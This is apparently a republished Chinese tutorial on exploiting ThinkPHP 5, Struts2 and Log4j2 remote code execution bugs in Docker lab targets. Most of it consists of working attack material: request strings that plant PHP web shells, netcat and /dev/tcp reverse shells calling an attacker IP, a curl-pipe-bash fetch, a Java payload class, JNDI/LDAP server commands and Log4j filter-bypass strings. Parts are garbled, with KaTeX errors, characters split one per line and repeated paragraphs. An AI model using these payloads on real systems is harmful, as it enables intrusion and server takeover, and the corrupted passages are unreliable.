一、Thinkphp5.0.23 代碼執(zhí)行
1.thinkphp5框架
2.thinkphp5高危漏洞
根據(jù)ThinkPHP版本,如是5.x版本,即可使用ThinkPHP 5.x遠(yuǎn)程代碼執(zhí)行漏洞,無需登錄,即可執(zhí)行任意命令,獲取服務(wù)器最高權(quán)限。
3.漏洞特征
4.THinkphp5.0 遠(yuǎn)程代碼執(zhí)行–poc
Windows:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
POC參數(shù)解析
method=get 因為captcha的路由規(guī)則是get方式下的,所以我們得讓method為get,才能獲取到captcha的路由
s=captcha 因為在進(jìn)入exec函數(shù)后我們要switch到method中執(zhí)行param函數(shù),而這個captcha的路由剛好對應(yīng)類型為method,所以我們選擇captcha
filter[]=system 覆蓋變量
get[]=whoami 覆蓋變量
_method=__construct 為了能夠進(jìn)入construct,從而覆蓋變量
5.TP5實驗一(Windows5.0.20)
a.搭建實驗環(huán)境
_method=__construct&filter[]=system&method=get&get[]=whoami
b.測試phpinfo
利用system函數(shù)遠(yuǎn)程命令執(zhí)行,通過phpinfo函數(shù)查看phpinfo()的信息;
寫入phpinfo();
/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo “<?php phpinfo(); ?>” > 1.php
c.寫入shell
查看是否成功的寫入shell
/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
d.使用菜刀連接
6.TP5實驗二(Linux5.0.23)
a.搭建實驗環(huán)境
cd ~5-rce
docker-compose up -d拉取靶場
b.測試方法
_method=__construct&filter[]=system&method=get&get[]=id
TP5的驗證碼在/vendor/topthink/think-captcha 目錄下,文件分別是Captcha.php 、CaptchaController.php 和helper.php 三個文件??梢灾苯油ㄟ^http://localhost/項目名稱/public/index.php/captcha 來進(jìn)行訪問。
_method=__construct&filter[]=system&method=get&get[]=pwd
_method=__construct&filter[]=system&method=get&get[]=whoami
c.測試phpinfo
_method=__construct&filter[]=system&method=get&get[]=echo “<?php phpinfo(); ?>” > 1.php
Linux5.0.20測試方法
http://192.168.25.174:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1`
d.寫入shell
_method=__construct&filter[]=system&method=get&get[]=echo “<?php @eval($_POST["fname"]);?>” >shell.php
可以看出shell.php已經(jīng)上傳成功
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval(
P
O
S
T
[
c
m
d
]
)
;
?
>
>
s
h
e
l
l
.
p
h
p
發(fā)現(xiàn)
_POST[cmd]);?^> >shell.php 發(fā)現(xiàn)
P?OST[cmd]);?>>shell.php發(fā)現(xiàn)_POST被刪除了,引號也沒了
如下改動后解決問題
_method=__construct&filter[]=system&method=get&get[]=echo “<?php @eval(\$_POST['fname']);?>” >shell.php
e.反彈shell
方法一
控制端輸入
nc -lvvp 6666
被控端輸入
nc -c /bin/bash 192.168.25.174 6666
控制端得到shell,此處執(zhí)行l(wèi)s命令
方法二
攻擊機(jī)開啟2個終端
分別輸入nc -lvvp 2333和nc -lvvp 3333,一個輸入一個輸出
被攻擊機(jī)輸入
nc 192.168.25.174 2333 | /bin/bash | nc 192.168.25.174 3333
然后nc -lvvp 2333里執(zhí)行命令ls,可以看到nc -lvvp 3333收到返回結(jié)果
方法三
首先本機(jī)創(chuàng)建文件shell.sh,放到本機(jī)WWW根目錄
bash -i >& /dev/tcp/192.168.33.2/1111 0>&1
cmd下開啟兩個終端
nc.exe -lvvp 2333 -e cmd.exe用于監(jiān)聽輸入
nc -lvp 1111用于獲取輸出
然后網(wǎng)頁里輸入
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.33.2/shell.sh|bash
執(zhí)行后即可在本機(jī)獲取shell,此處是ls的查詢結(jié)果
7.任務(wù):靶場thinkphp漏洞復(fù)現(xiàn)
https://vulhub.org/#/environments/
tp5 poc參考大全
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
二、Struts2遠(yuǎn)程代碼執(zhí)行
1.漏洞介紹
Struts2漏洞是一個經(jīng)典的漏洞系列,根源在于Struts2引入了OGNL表達(dá)式使得框架具有靈活的動態(tài)性。隨著整體框架的補(bǔ)丁完善,現(xiàn)在想挖掘新的Struts2漏洞會比以前困難很多,從實際了解的情況來看,大部分用戶早就修復(fù)了歷史的高危漏洞。目前在做滲透測試時,Struts2漏洞主要也是碰碰運(yùn)氣,或者是打到內(nèi)網(wǎng)之后用來攻擊沒打補(bǔ)丁的系統(tǒng)會比較有效。
2.Struts2執(zhí)行代碼的原理
Struts2的動態(tài)性在于ongl表達(dá)式可以獲取到運(yùn)行變量的值,并且有機(jī)會執(zhí)行函數(shù)調(diào)用。如果可以把惡意的請求參數(shù)送到ognl的執(zhí)行流程中,就會導(dǎo)致任意代碼執(zhí)行漏洞。
struts2的rce本質(zhì)都是一樣的(除了S2-052以外),都是Struts2框架執(zhí)行了惡意用戶傳進(jìn)來的OGNL表達(dá)式,造成遠(yuǎn)程代碼執(zhí)行。可以造成“命令執(zhí)行、服務(wù)器文件操作、打印回顯、獲取系統(tǒng)屬性、危險代碼執(zhí)行”等,只不過需要精心構(gòu)造不同的OGNL代碼而已。
3.Struts2框架特征
查看被測應(yīng)用系統(tǒng)的源碼,URL接口地址以“.action”“.do”結(jié)尾或地址中包含“!”符號,或者在被測應(yīng)用的服務(wù)器上查看應(yīng)用所在目錄/WEB-INF/lib/下的jar文件,若存在struts2-core-2..**.jar或xwork-core-2..**.jar格式的jar文件,則需檢測是否存在Struts2遠(yuǎn)程代碼執(zhí)行漏洞。
4.S2-029漏洞復(fù)現(xiàn)(實驗)
原理:Struts2的標(biāo)簽庫使用OGNL表達(dá)式來訪問ActionContext中的對象數(shù)據(jù)。為了能夠訪問到ActionContext中的變量,Struts2將ActionContext設(shè)置為OGNL的上下文,并將OGNL的跟對象加入ActionContext中。
在Struts2中,如下的標(biāo)簽就調(diào)用了OGNL進(jìn)行取值。
parameters:
Struts2會解析value中的值,并當(dāng)作OGNL表達(dá)式進(jìn)行執(zhí)行,獲取到parameters對象的msg屬性。S2-029仍然是依靠OGNL進(jìn)行遠(yuǎn)程代碼執(zhí)行。 影響版本:Struts 2.0.0 -2.3.24.1(不包括2.3.20.3) 復(fù)現(xiàn)步驟: ### 1)拉取漏洞環(huán)境鏡像到本地 命令:docker pull medicean/vulapps:s_struts2_s2-029
2)啟動漏洞環(huán)境
命令:docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029
3)訪問http://192.168.25.174:8080/default.action
4)利用方法
方法一:工具利用
LiqunKit_1.5.jar反彈shell
方法二:手工利用
poc:
(%23_memberAccess[‘a(chǎn)llowPrivateAccess’]=true,%23_memberAccess[‘a(chǎn)llowProtectedAccess’]=true,%23_memberAccess[‘excludedPackageNamePatterns’]=%23_memberAccess[‘a(chǎn)cceptProperties’],%23_memberAccess[‘excludedClasses’]=%23_memberAccess[‘a(chǎn)cceptProperties’],%23_memberAccess[‘a(chǎn)llowPackageProtectedAccess’]=true,%23_memberAccess[‘a(chǎn)llowStaticMethodAccess’]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream()))
注意:有些利用的時候要記得url編碼
5)復(fù)現(xiàn)任務(wù)
S2-61
先切換到vulhub指定目錄,記得清理占用
docker-compose up -d拉取鏡像
使用dnslog進(jìn)行請求,發(fā)現(xiàn)存在回顯,說明存在漏洞
POC:%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“ping dnslog的域名”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}
需先將GET改成POST,然后在下面添加
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=“id”
和poc
POC:%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“id”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}
S2-45
docker-compose up -d
下載路徑/var/lib/docker/overlay2
S2-46
三、log4j2遠(yuǎn)程代碼執(zhí)行
1.漏洞介紹
log4j2是全球使用廣泛的java日志框架,同時該漏洞還影響很多全球使用量的Top序列的通用開源組件。log4j2遠(yuǎn)程代碼執(zhí)行漏洞主要由于存在JNDI注入漏洞,黑客可以惡意構(gòu)造特殊數(shù)據(jù)請求包,觸發(fā)此漏洞,從而成功利用此漏洞可以在目標(biāo)服務(wù)器上執(zhí)行任意代碼。注意,此漏洞是可以執(zhí)行任意代碼,這就很恐怖,相當(dāng)于黑客已經(jīng)攻入計算機(jī),可以為所欲為了,就像已經(jīng)進(jìn)入你家,想干什么,就干什么,比如運(yùn)行什么程序,植入什么病毒,變成他的肉雞。
影響版本
Log4j2.x<=2.14.1
2.LDAP和JNDI
LDAP全稱是Lightweight Directory Access Protocol( 輕型目錄訪問協(xié)議),LDAP可以理解是一個簡單存儲數(shù)據(jù)的數(shù)據(jù)庫
LDAP有一個客戶端和服務(wù)器端,server端是用來存放資源,client端主要用于查詢等操作。服務(wù)端都是有各大廠商的產(chǎn)品的比如Microsoft的AD,當(dāng)然可以自己做??蛻舳送ㄟ^LDAP協(xié)議去訪問服務(wù)器端。
所以上述的payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}就相當(dāng)于ldap通過jndi來提供服務(wù)。xxx.xxx.xxx.xxx這個是LDAP服務(wù)器端的IP地址,LDAP服務(wù)器是默認(rèn)開啟1389端口的,Exp是一個不存在的文件名
JNDI :JAVA NAMING AND Directory interface,Java命名和目錄接口),則是Java中用于訪問LDAP的API,是為了Java程序訪問命名服務(wù)和目錄服務(wù)而提供的統(tǒng)一API。
3.漏洞原理
我們在很多漏洞復(fù)現(xiàn)文章看到構(gòu)造的payload是這樣的 j n d i : l d a p : / / x x x . x x x . x x x . x x x : 1389 / E x p , 該漏洞是由于 A p a c h e L o g 4 j 2 某些功能存在遞歸解析功能,未經(jīng)身份驗證的攻擊者通過發(fā)送特定惡意數(shù)據(jù)包,可在目標(biāo)服務(wù)器上執(zhí)行任意代碼。 L o g 4 j 2 組件在處理程序日志記錄時存在 J N D I 注入缺陷,未經(jīng)授權(quán)的攻擊者利用該漏洞,可向目標(biāo)服務(wù)器發(fā)送精心構(gòu)造的惡意數(shù)據(jù),觸發(fā) L o g 4 j 2 組件解析缺陷,實現(xiàn)目標(biāo)服務(wù)器的任意代碼執(zhí)行,獲得目標(biāo)服務(wù)器權(quán)限。 L o g 4 j 2 漏洞總的來說就是:因為 L o g 4 j 2 默認(rèn)支持解析 l d a p / r m i 協(xié)議(只要打印的日志中包括 l d a p / r m i 協(xié)議即可),并會通過名稱從 l d a p 服務(wù)端其獲取對應(yīng)的 C l a s s 文件,并使用 C l a s s L o a d e r 在本地加載 L d a p 服務(wù)端返回的 C l a s s 類。 A p a c h e L o g 4 j 遠(yuǎn)程代碼執(zhí)行漏洞,正是由于組件存在 J a v a J N D I 注入漏洞:當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)記入日志時,攻擊者通過構(gòu)造特殊請求,來觸發(fā) A p a c h e L o g 4 j 2 中的遠(yuǎn)程代碼執(zhí)行漏洞,從而利用此漏洞在目標(biāo)服務(wù)器上執(zhí)行任意代碼。利用 j n d i 訪問 l d a p 服務(wù)后, l d a p 服務(wù)返回了 c l a s s 攻擊代碼,被攻擊的服務(wù)器執(zhí)行了攻擊代碼。遠(yuǎn)程代碼執(zhí)行漏洞,是利用了 L o g 4 j 2 可以對日志中的“ {jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}, 該漏洞是由于Apache Log4j2某些功能存在遞歸解析功能,未經(jīng)身份驗證的攻擊者通過發(fā)送特定惡意數(shù)據(jù)包,可在目標(biāo)服務(wù)器上執(zhí)行任意代碼。 Log4j2組件在處理程序日志記錄時存在JNDI注入缺陷,未經(jīng)授權(quán)的攻擊者利用該漏洞,可向目標(biāo)服務(wù)器發(fā)送精心構(gòu)造的惡意數(shù)據(jù),觸發(fā)Log4j2組件解析缺陷,實現(xiàn)目標(biāo)服務(wù)器的任意代碼執(zhí)行,獲得目標(biāo)服務(wù)器權(quán)限。 Log4j2漏洞總的來說就是:因為Log4j2默認(rèn)支持解析ldap/rmi協(xié)議(只要打印的日志中包括ldap/rmi協(xié)議即可),并會通過名稱從ldap服務(wù)端其獲取對應(yīng)的Class文件,并使用ClassLoader在本地加載Ldap服務(wù)端返回的Class類。 Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞,正是由于組件存在Java JNDI 注入漏洞:當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)記入日志時,攻擊者通過構(gòu)造特殊請求,來觸發(fā)Apache Log4j2 中的遠(yuǎn)程代碼執(zhí)行漏洞,從而利用此漏洞在目標(biāo)服務(wù)器上執(zhí)行任意代碼。 利用jndi訪問ldap服務(wù)后,ldap服務(wù)返回了class攻擊代碼,被攻擊的服務(wù)器執(zhí)行了攻擊代碼。 遠(yuǎn)程代碼執(zhí)行漏洞,是利用了Log4j2可以對日志中的“ jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp,該漏洞是由于ApacheLog4j2某些功能存在遞歸解析功能,未經(jīng)身份驗證的攻擊者通過發(fā)送特定惡意數(shù)據(jù)包,可在目標(biāo)服務(wù)器上執(zhí)行任意代碼。Log4j2組件在處理程序日志記錄時存在JNDI注入缺陷,未經(jīng)授權(quán)的攻擊者利用該漏洞,可向目標(biāo)服務(wù)器發(fā)送精心構(gòu)造的惡意數(shù)據(jù),觸發(fā)Log4j2組件解析缺陷,實現(xiàn)目標(biāo)服務(wù)器的任意代碼執(zhí)行,獲得目標(biāo)服務(wù)器權(quán)限。Log4j2漏洞總的來說就是:因為Log4j2默認(rèn)支持解析ldap/rmi協(xié)議(只要打印的日志中包括ldap/rmi協(xié)議即可),并會通過名稱從ldap服務(wù)端其獲取對應(yīng)的Class文件,并使用ClassLoader在本地加載Ldap服務(wù)端返回的Class類。ApacheLog4j遠(yuǎn)程代碼執(zhí)行漏洞,正是由于組件存在JavaJNDI注入漏洞:當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)記入日志時,攻擊者通過構(gòu)造特殊請求,來觸發(fā)ApacheLog4j2中的遠(yuǎn)程代碼執(zhí)行漏洞,從而利用此漏洞在目標(biāo)服務(wù)器上執(zhí)行任意代碼。利用jndi訪問ldap服務(wù)后,ldap服務(wù)返回了class攻擊代碼,被攻擊的服務(wù)器執(zhí)行了攻擊代碼。遠(yuǎn)程代碼執(zhí)行漏洞,是利用了Log4j2可以對日志中的“{}”進(jìn)行解析執(zhí)行,來進(jìn)行攻擊的。
4.*log4j2-漏洞復(fù)現(xiàn)(實驗)
1)拉取docker環(huán)境
docker pull vulfocus/log4j2-rce-2021-12-09
2)啟動環(huán)境-查看鏡像
docker images
3)啟動并端口映射
docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
4)測試步驟
1)正常來測試,發(fā)現(xiàn)這里主要對{}產(chǎn)生過濾。
2)將payload進(jìn)行url編碼。
生成你自己的DNSlog并將生成的地址替換進(jìn)payload=${jndi:ldap://DNSLog/exp},然后發(fā)生數(shù)據(jù)給靶機(jī)。
/hello?payload=${jndi:ldap://p5pok7.dnslog.cn/exp}顯示400,即錯誤的請求。
回到DNSLog頁面刷新Refresh Record 便能查詢道靶機(jī)遞歸查詢?nèi)罩镜挠涗洝?br> Log4J2漏洞的危害便是能夠遠(yuǎn)程執(zhí)行代碼,并且采用此框架件的廠商眾多,造成的危害面廣
5.4.log4j2-漏洞驗證(實驗)
1)拉取docker環(huán)境
docker pull vulfocus/log4j2-rce-2021-12-09
2)啟動環(huán)境-查看鏡像
docker images
3)啟動并端口映射
docker run -tid -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
點擊鏈接后
4)測試步驟
1)正常來測試,發(fā)現(xiàn)這里主要對{}產(chǎn)生過濾。
2)將payload進(jìn)行url編碼。
生成你自己的DNSlog并將生成的地址替換進(jìn)payload=${jndi:ldap://DNSLog/exp},然后發(fā)生數(shù)據(jù)給靶機(jī)。
需進(jìn)行URL編碼
http://192.168.25.174:8080/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2F42kopn.dnslog.cn%2Fexp%7D
執(zhí)行后dnslog收到數(shù)據(jù)
Log4J2漏洞的危害便是能夠遠(yuǎn)程執(zhí)行代碼,并且采用此框架件的廠商眾多,造成的危害面廣
5.log4j2-漏洞利用(實驗)
利用JNDI注入工具在攻擊機(jī)上開啟JNDI服務(wù)器
攻擊機(jī)IP:192.168.33.2
被攻擊機(jī)IP:192.168.25.174
1)準(zhǔn)備JNDI注入工具
git clone https://gitee.com/Lemon_i/JNDI-Injection-Exploit.git
2)準(zhǔn)備shell代碼
利用JNDI注入反彈shell,并將命令進(jìn)行base64編碼,不然可能會報錯
bash -i >& /dev/tcp/攻擊主機(jī)IP/端口 0>&1
3)攻擊機(jī)啟動監(jiān)聽用于獲取shell
nc -lvp 1111
4)啟動JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,base64編碼后的shell}|{base64,-d}|{bash,-i}” -A 攻擊主機(jī)IP
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjIvMTExMSAwPiYx}|{base64,-d}|{bash,-i}” -A 192.168.33.2
注釋:-C是執(zhí)行的bash命令,后面是執(zhí)行的具體命令,用雙引號引起來-A 指服務(wù)器的IP
因為JDK版本的問題,我們選擇的鏈接是rmi://192.168.33.2:1099/uimfib
注意:這個鏈接每次運(yùn)行JNDI-Injection-Exploit 時都會變化
5)傳遞payload
打開瀏覽器,用get傳遞payload,payload=${jndi:rmi://192.168.33.2:1099/uimfib}
進(jìn)行URL編碼為payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.33.2%3A1099%2Fuimfib%7D
6)JNDI接收請求
7)反彈shell
可以看出已經(jīng)成功反彈shell
8)關(guān)于Exception in thread “Thread-1” java.lang.IllegalAccessError報錯原因
原因是jdk版本太高
重裝JDK1.8后得以解決問題
6.CVE-2021-44228 log4j漏洞復(fù)現(xiàn)(class方式)
1)拉取docker環(huán)境
docker-compose up -d
裝完后可以看出端口是8983
2)驗證漏洞
開啟dnslog看能不能收到回顯
http://192.168.25.128:8983/solr/admin/cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.20r5vy.dnslog.cn}
可以看到輸出了java版本1.8.102,驗證漏洞成功
3)準(zhǔn)備shell代碼
bash -i >& /dev/tcp/192.168.155.2/7777 0>&1
Base64編碼后:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzc3NzcgMD4mMQ==
帶入
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}
4)準(zhǔn)備惡意文件
Exploit2.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
使用javac編譯生成class文件
5)開啟http服務(wù)
切換到Exploit2.class所在路徑
cd C:\Users\Administrator\IdeaProjects\hello\target\classes
python -m http.server 4444
打開網(wǎng)頁驗證下
可以看到4444端口可以訪問到我們準(zhǔn)備的惡意文件
6)開啟LDAP服務(wù)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.155.2:4444/#Exploit2” 1389
7)開啟shell反彈監(jiān)聽
nc -lvvp 7777
8)網(wǎng)頁運(yùn)行payload
${jndi:ldap://192.168.155.2:1389/Exploit2}
運(yùn)行后得到反彈shell文章來源:http://www.zghlxwxcb.cn/news/detail-683044.html
7.log4j漏洞防護(hù)
1.升級最新版本的log4j組件
2.臨時處理,過濾${},避免被執(zhí)行命令
8.poc
${jndi:ldap://xxx.dnslog.cn/poc}
waf繞過
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j}
:
:
?
n
{::-n}
::?n{::-d}
:
:
?
i
:
{::-i}:
::?i:{::-r}
:
:
?
m
{::-m}
::?m{::-i}??/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j}ndi:rmi://xxx.dnslog.cn/poc}
${jndi:rmi://xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:jndi}??{lower:rmi}??/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:KaTeX parse error: Expected 'EOF', got '}' at position 13: {lower:jndi}}?:{lower:rmi}??/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:j}
l
o
w
e
r
:
n
{lower:n}
lower:n{lower:d}i:${lower:rmi}??/xxx.dnslog.cn/poc}文章來源地址http://www.zghlxwxcb.cn/news/detail-683044.html
到了這里,關(guān)于熱門框架漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!